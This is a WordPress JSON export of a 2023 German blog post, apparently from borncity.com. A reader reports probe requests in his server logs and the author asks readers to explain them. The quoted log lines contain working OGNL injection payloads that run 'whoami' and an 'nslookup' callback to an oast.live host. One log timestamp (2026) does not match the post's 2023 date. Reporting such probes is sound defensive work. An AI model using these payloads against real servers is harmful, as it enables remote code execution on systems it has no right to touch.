{"id":282671,"date":"2023-06-18T00:17:00","date_gmt":"2023-06-17T22:17:00","guid":{"rendered":"https:\/\/www.borncity.com\/blog\/?p=282671"},"modified":"2023-06-18T01:21:14","modified_gmt":"2023-06-17T23:21:14","slug":"merkwrdigkeit-in-web-server-log-dateien","status":"publish","type":"post","link":"https:\/\/borncity.com\/blog\/2023\/06\/18\/merkwrdigkeit-in-web-server-log-dateien\/","title":{"rendered":"Merkw&uuml;rdigkeit in (Web-)Server Log-Dateien"},"content":{"rendered":"<p><img decoding=\"async\" style=\"float: left; margin: 0px 10px 0px 0px; display: inline;\" title=\"Sicherheit (Pexels, allgemeine Nutzung)\" src=\"https:\/\/borncity.com\/blog\/wp-content\/uploads\/2021\/04\/Sicherheit_klein.jpg\" alt=\"Sicherheit (Pexels, allgemeine Nutzung)\" width=\"200\" align=\"left\" \/>Ich stelle mal einen Sachverhalt hier im Blog ein, auf den ich mir noch keinen finalen Reim machen kann. Einem Benutzer ist beim Auswerten seiner Server-Log-Dateien aufgefallen, dass es immer wieder Versuche gibt, eine bestimmte Datei von diesem Webserver herunter zu laden. Spontan tippe ich darauf, dass da irgend eine Schwachstelle ausgekundschaftet werden soll.<\/p>\n<p><!--more--><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/vg07.met.vgwort.de\/na\/debea23bc9504eb38cd5d545bdf13532\" alt=\"\" width=\"1\" height=\"1\" \/>Blog-Leser Wolfgang O. hat mich zum 9. Juni 2023 per Mail bez\u00fcglich des Themas kontaktiert, ich komme aber erst jetzt dazu, das Ganze hier im Blog einzustellen. Wolfgang schrieb:<\/p>\n<blockquote><p><strong>Seltsamkeit in Server-Log<\/strong><\/p>\n<p>Hallo G\u00fcnter,<\/p>\n<p>heute habe ich im Log meines Servers etwas f\u00fcr mich noch unbekanntes<br \/>\nentdeckt. Jemand hat versucht, folgende \"Datei\" herunterzuladen:<\/p>\n<pre><code>hddps:\u00a0 \/\/mein. webserver . de\/${(#a=@org . apache.commons . io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\"whoami\").getInputStream(),\"utf-8<a>\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"<\/a>X-Cmd-Response\",#a))}<\/code><\/pre>\n<p>Im Log steht dazu folgender Eintrag:<\/p>\n<pre><code>GET \/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D\/ \r\nHTTP\/1.1 \r\nHost: n.n.n.n \r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_10_1) \r\nAppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/41.0.2227.1 Safari\/537.36 \r\nConnection: close \r\nAccept: *\/* \r\nAccept-Language: en \r\nAccept-Encoding: gzip \r\n08.06.2026 um 13:57:21 <\/code><\/pre>\n<p>Dann, eine Sekunde sp\u00e4ter und mit anderem User-Agent:<\/p>\n<pre><code>\r\nGET \/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20ci1h73pgd9ul7vo9lsog8mbibj7cm8omc.oast.live%22%29%7D\/ \r\nHTTP\/1.1 \r\nHost: n.n.n.n \r\nUser-Agent: Mozilla\/5.0 (Windows NT 5.1) AppleWebKit\/537.36 (KHTML, like \r\nGecko) Chrome\/34.0.1866.237 Safari\/537.36 \r\nConnection: close \r\nAccept: *\/* \r\nAccept-Language: en \r\nAccept-Encoding: gzip <\/code><\/pre>\n<p>f\u00fcr diese \"Datei\":<\/p>\n<pre><code>hddps : \/\/mein. webserver. de\/${@java.lang.Runtime@getRuntime().exec(\"nslookupci1h73pgd9ul7vo9lsog8mbibj7cm8omc.oast.live\")}<\/code><\/pre>\n<p>In beiden F\u00e4llen kam der Besucher von folgender IP-Adresse:<\/p>\n<p>WHOIS Source: RIPE NCC<br \/>\nIP Address:\u00a0\u00a0 45.83.123.30<br \/>\nCountry:\u00a0\u00a0\u00a0\u00a0\u00a0 Netherlands<br \/>\nNetwork Name: LXD<br \/>\nOwner Name:<br \/>\nCIDR:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 45.83.122.0\/23<br \/>\n&gt;From IP:\u00a0\u00a0\u00a0\u00a0\u00a0 45.83.122.0<br \/>\nTo IP:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 45.83.123.255<br \/>\nAllocated:\u00a0\u00a0\u00a0 Yes<br \/>\nContact Name: Rea Ketty<br \/>\nAddress:\u00a0\u00a0\u00a0\u00a0\u00a0 SEYCHELLES, Mahe, 1111, House of Francis, Room 303, IIe Du<br \/>\nPort<br \/>\nEmail:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <a>abuse.itweb@gmail.com<\/a><br \/>\nAbuse Email:\u00a0 <a>abuse.itweb@gmail.com<\/a><br \/>\nPhone:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 +14708099233<br \/>\nFax:<\/p>\n<p>Eine erste schnelle Suche bei Google hat nichts ergeben. Ecosia hat die Suche geblockt (\"Suspicious\").<\/p>\n<p>Ist das was Neues?<\/p>\n<p>Falls ja, vielleicht hast Du ja jemanden, den das interessieren k\u00f6nnte. Ich selber kenne da niemanden. Ich habe im \u00fcbrigen alle Verweise auf meinen Server anonymisiert. Er steht bei HostEurope, ein selbstgeschriebener Webserver, deshalb liefen die Versuche mit Apache und Java ins Leere. Ansonsten h\u00e4tte der Besucher wohl mehr versucht. Vermutung meinerseits.<\/p>\n<p>Mal schauen, ob die Mail wegen der eingebetteten Links \u00fcberhaupt durch den Spamfilter kommt. Deshalb habe ich das da oben jeweils am Anfang\u00a0 zerst\u00fcckelt.<\/p>\n<p>Danke f\u00fcrs Lesen und dann noch ein sch\u00f6nes Wochenende<\/p><\/blockquote>\n<p>Frage an die Leserschaft: Kann sich jemand einen Reim darauf machen?<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ich stelle mal einen Sachverhalt hier im Blog ein, auf den ich mir noch keinen finalen Reim machen kann. Einem Benutzer ist beim Auswerten seiner Server-Log-Dateien aufgefallen, dass es immer wieder Versuche gibt, eine bestimmte Datei von diesem Webserver herunter &hellip; <a href=\"https:\/\/borncity.com\/blog\/2023\/06\/18\/merkwrdigkeit-in-web-server-log-dateien\/\">Weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[426],"tags":[4328],"class_list":["post-282671","post","type-post","status-publish","format-standard","hentry","category-sicherheit","tag-sicherheit"],"_links":{"self":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/posts\/282671","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/comments?post=282671"}],"version-history":[{"count":0,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/posts\/282671\/revisions"}],"wp:attachment":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/media?parent=282671"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/categories?post=282671"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/tags?post=282671"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}